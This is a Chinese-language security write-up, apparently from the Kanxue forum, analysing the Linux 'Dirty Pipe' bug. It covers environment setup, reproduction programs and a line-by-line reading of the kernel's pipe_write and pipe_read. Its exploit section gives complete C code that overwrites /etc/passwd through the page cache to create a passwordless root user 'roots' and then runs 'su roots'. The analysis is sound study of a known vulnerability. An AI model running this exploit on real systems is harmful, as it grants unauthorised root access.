一
漏洞简介
二
环境准备
5.8.0-63-generic
版本。本来之前打算直接Ubuntu20.04LTS
一了百了,但是发现它内核有自动更新,下过来就是最新的,漏洞已经被修复了。所以这里直接用这个讲讲换这个内核的版本。apt-cache search linux | grep 5.8.0-63
sudo apt install linux-image-5.8.0-63-generic
reboot
重启,开机界面按shift+TAB
进入 ubuntu 引导界面,然后选择高级选项advance
,选择我们刚刚安装的那个内核进入启动。三
前置知识
int
数组,并通过这个数组返回,创建成功则返回对应的读写描述符,一端只能用于读,一端只能写。#include<fcntl.h>
#include<stdio.h>int main(){
char buffer[10];
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
read(pipe_fd[0],buffer,4);
write(1,buffer,4);
}
ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
fd_in
:输入文件描述符fd_out
:输出文件描述符len
:移动字节长度flags
:控制数据如何移动。>0
:表示成功移动的字节数==0
:表示没有字节可以移动<0
:表示出现某些错误#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>int main(){
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
splice(pipe_fd[0],NULL,1,NULL,4,0);
}
四
Bug复现
tmpfile
,user
属主,权限 755。
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
char file[]="./tmpfile";
int main(){
int p[2]={-1,-1};
int fd=open(file,O_WRONLY);
int i=2000;
while(i--){
write(fd,"AAAAA",5);
}
printf("write over\n");
}
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
char file[]="./tmpfile";
int main(){int p[2]={-1,-1};
int fd=open(file,O_RDONLY);
char buffer[4096];
memset(buffer,0,4096);
if(pipe(p))abort();
int nbytes1,nbytes2;
while(1){
nbytes1=splice(fd,NULL,p[1],NULL,5,0);
nbytes2=write(p[1],"BBBBB",5);
read(p[0],buffer,10);
if(nbytes1==0||nbytes2==0)break;
}
close(fd);
}
tmpfile
,运行p1
文件。BBBBB
。五
exploit及分析
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE PAGE_SIZE*16void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}int main(){
int pipefd[2];
SetCanMerge(pipefd);
int fd=open("/etc/passwd",O_RDONLY);
splice(fd,NULL,pipefd[1],NULL,1,0);
write(pipefd[1],"oots:",5);
system("su roots");
}
SetCanMerge
函数去填满pipe
,这一步的作用是走完一遍pipe
的缓冲区。pipe
的缓冲区是以页为单位的,总共是 16 页的环形缓冲区。这一步就是去设置所有 page 的Can Merge
属性。这个Can Merge
标识了这个pipe
能否被续写。flags
,它们当中有一位就是标志了是否能在上面续写。pipe
缓冲区都设置为可续写。第二步我们打开了一个/etc/passwd
文件,这个文件所有用户可读,只有root
用户可写,我们以只读的方式打开它获得一个文件描述符,然后通过splice
向管道中拷贝一个字节的内容。pipe
缓冲区当中。然而此时Can Merge
属性又存在,所以我们再往管道里写数据的时候,会因为Can Merge
而直接写Page Cache
绕过了权限检查。/etc/passwd
的第二个字节起写上五个字节oots:
,这样的话/etc/passwd
的第一行变成了roots::...
,原本第一行的内容为root:x:...
,中间的x
表示此用户有密码,而我们把x
取消掉了,那么我们生成了一个 uid 为 0 且没有密码的用户roots
,那么我们通过su roots
就能直接切换到root
权限。六
内核源码分析
Reducing Debugging Information
,不然 vmlinux 将不含结构体信息,调试的难度会大大增加。pipe_read
和pip_write
,在/source/fs/pipe.c
当中有完整的定义。pipe_write
。函数完整的声明是:static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from);
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
if (unlikely(total_len == 0))
return 0;
}
total_len==0
则直接return 0
,就是如果没有可写的数据,那么直接返回 0。iov_iter_count
仅仅是取得iov_iter
中的count
属性作为返回值,from
望文生义可以理解为是数据从哪里来(from
),如果来的数据个数为 0 那么直接结束这次调用。static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
__pipe_lock(pipe);if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
goto out;
}
#endif
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
}
reader
为 0,那么直接给进程发送一个SIGPIPE
,通过查阅资料可得,大部分情况下,该信号会在写一个关闭一个socket
对象时得到,那么这里同理,可能该管道已经关闭,但是仍往里面写数据。chars = total_len & (PAGE_SIZE-1);
,PAGE_SIZE
通常情况下来说大小是4096
,刚好是一个 2 的 12 次幂,那么再 -1 相当于就是二进制的 12 个 1,再用 & 运算就是取得total_len
最低的 12 位,如果管道非空(环形队列判非空仅仅是判 tail 和 head是否相等),且写入长度最低 12 位为 0(这个判断等价于写入的长度不为页的整数倍,可以理解为是total_len % PAGE_SIZE!=0
,但是取模运算挺浪费时间的所以转为位运算),那么执行这个分支。mask
掩码,值为pipe->ring_size-1
,其实跟前面取掩码差不多的道理,通常这个值是 16,也就是环形缓冲区的大小,通过调试输出也可以得到。head&mask
同样等效于(head-1) % 16
,至于为什么 -1,则是为了取得头部的前一个管道,来判断一下该管道是否可续写 )。buf->flags & PIPE_BUF_FLAG_CAN_MERGE
是很常见的取标记位,可以理解为缓冲区PIPE_BUF_FLAG_CAN_MERGE
设置为 1,这里其实就是前面讲的,判断缓冲区是否可续写,后面的再跟一个判断offset + chars <= PAGE_SIZE
,这里也很好理解,chars 我们前面说了就是我本次写入长度对页大小的余数(除去这个长度,其余部分肯定是页大小的整数倍了),如果这个余数加上offset
在PAGE_SIZE
之内,简单点讲,就是该页可以续写,且余数部分写入该页不会造成溢出,则执行后面的分支。pipe_buf_confirm
,这个函数的定义如下:
static inline int pipe_buf_confirm(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
if (!buf->ops->confirm)
return 0;
return buf->ops->confirm(pipe, buf);
}
confirm
的定义说明。
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
copy_page_from_iter(buf->page, offset, chars, from);
,这一部分其实还是比较明显的,就是把数据的余数部分拷贝到缓冲区内,追加到 offset 之后,因为缓冲区里原本还有 offset 的数据。copy_page_from_iter
肯定是会把 from 对象的 count 进行相应的减少的,所以如果后面没有数据了,那么直接结束就可以了。static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
for (;;) {
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;if (!iov_iter_count(from))
break;
}if (!pipe_full(head, pipe->tail, pipe->max_usage))
continue;
if (filp->f_flags & O_NONBLOCK) {
if (!ret)
ret = -EAGAIN;
break;
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
__pipe_unlock(pipe);
if (was_empty)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
__pipe_lock(pipe);
was_empty = pipe_empty(pipe->head, pipe->tail);
wake_next_writer = true;
}
}
head-pipe->tail>=pipe->max_usage
。其实这里的max_usage
大概率也是常量 16,验证一下,果然如此。spin_lock_irq(&pipe->rd_wait.lock);
上读的锁spin_lock_irq
的宏定义其实就是上锁,可以再源码中找到。#define spin_lock_irq(x) pthread_mutex_lock(x)
wake_up_interruptible_sync_poll
函数实现。#define wake_up_interruptible_sync_poll(x, m) \
__wake_up_sync_key((x), TASK_INTERRUPTIBLE, poll_to_key(m))
SIGIO
信号,通知它们有新的数据可用。wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
用于判断管道是否可写,否则阻塞在这里,然后重新获取管道的锁,标记下一个写入者需要唤醒。static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
__pipe_unlock(pipe);
if (was_empty || pipe->poll_usage)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
if (wake_next_writer)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}
copy_page_from_iter
确实是这样的,不足PAGE_SIZE
的数据填充 0 直接拷贝过来,就不续写了。copy_page_from_iter
的源码。static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
size_t total_len = iov_iter_count(to);
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
bool was_full, wake_next_reader = false;
ssize_t ret;
if (unlikely(total_len == 0))
return 0;ret = 0;
__pipe_lock(pipe);
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
}
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
for (;;) {
unsigned int head = pipe->head;
unsigned int tail = pipe->tail;
unsigned int mask = pipe->ring_size - 1;#ifdef CONFIG_WATCH_QUEUE
if (pipe->note_loss) {
struct watch_notification n;if (total_len < 8) {
if (ret == 0)
ret = -ENOBUFS;
break;
}n.type = WATCH_TYPE_META;
n.subtype = WATCH_META_LOSS_NOTIFICATION;
n.info = watch_sizeof(n);
if (copy_to_iter(&n, sizeof(n), to) != sizeof(n)) {
if (ret == 0)
ret = -EFAULT;
break;
}
ret += sizeof(n);
total_len -= sizeof(n);
pipe->note_loss = false;
}
#endifif (!pipe_empty(head, tail)) {
struct pipe_buffer *buf = &pipe->bufs[tail & mask];
size_t chars = buf->len;
size_t written;
int error;if (chars > total_len) {
if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
chars = total_len;
}error = pipe_buf_confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}written = copy_page_to_iter(buf->page, buf->offset, chars, to);
if (unlikely(written < chars)) {
if (!ret)
ret = -EFAULT;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}if (!buf->len) {
pipe_buf_release(pipe, buf);
spin_lock_irq(&pipe->rd_wait.lock);
#ifdef CONFIG_WATCH_QUEUE
if (buf->flags & PIPE_BUF_FLAG_LOSS)
pipe->note_loss = true;
#endif
tail++;
pipe->tail = tail;
spin_unlock_irq(&pipe->rd_wait.lock);
}
total_len -= chars;
if (!total_len)
break;
if (!pipe_empty(head, tail))
continue;
}if (!pipe->writers)
break;
if (ret)
break;
if (filp->f_flags & O_NONBLOCK) {
ret = -EAGAIN;
break;
}
__pipe_unlock(pipe);
if (unlikely(was_full))
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
if (wait_event_interruptible_exclusive(pipe->rd_wait, pipe_readable(pipe)) < 0)
return -ERESTARTSYS;__pipe_lock(pipe);
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
wake_next_reader = true;
}
}
for
循环,中间包着一个宏可以不用管,这个应该没有编译进去。chars > total_len
,那么说明这个缓冲区的数据已经够了,读取所需要的字节数就不需要管了,中间判一个标记字段,如果设置了这个标记且还没有读过数据(ret==0)那么报错退出,如果仅仅设置了标记,那么就直接 break。若没设置,则将取出的缓冲区长度设置为读取长度chars=total_len
。total_len>chars
,则拷贝chars
(缓冲区长度),否则把chars
设置为要读取的总长度并读取这么多。offset
和len
,其实这里差不多可以理解offset
和len
字段的具体含义了。tail++
。如果没有要读取数据了,那么退出,随后看看如果还有要读取数据且管道不为空,则继续循环(continue
)。ret==0
,那么在这里就一定能要给它一点数据,倘若管道设置为不能阻塞O_NONBLOCK
,那么直接返回错误。static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
if (pipe_empty(pipe->head, pipe->tail))
wake_next_reader = false;
__pipe_unlock(pipe);if (was_full)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (wake_next_reader)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
if (ret > 0)
file_accessed(filp);
return ret;
}
set_can_merge
这里不需要遍历整个 pipe 缓冲区,正如前面分析的,如果管道为空或者读取字节为PAGE_SIZE
整数倍,那么都直接复制页,不选择续写,所以我们连着读写 16 次就可以给所有的缓冲区打上PIPE_BUF_FLAG_CAN_MERGE
标志。#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE 16void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}int main(){
int pipefd[2];
SetCanMerge(pipefd);
printf("[+]set all pipe page can merge done\n");
int fd=open("/etc/passwd",O_RDONLY);int ret=splice(fd,NULL,pipefd[1],NULL,1,0);
printf("[+]splice done,return value=%d\n",ret);
write(pipefd[1],"oots:",5);
system("su roots");
}
splice(fd,NULL,pipefd[1],NULL,1,0)
。do_splice_to
函数下断点,然后直接运行,continue
直接走完 16 次的读写。PAGE_SIZE
整数倍,因此进入这个 if 分支。PIPE_BUF_FLAG_CAN_MERGE
属性,并且在刚刚的 splice 当中并没有消除这个位。因此我们写可以跟着这个文件页后面写。七
总结
看雪ID:xi@0ji233
https://bbs.kanxue.com/user-home-919002.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多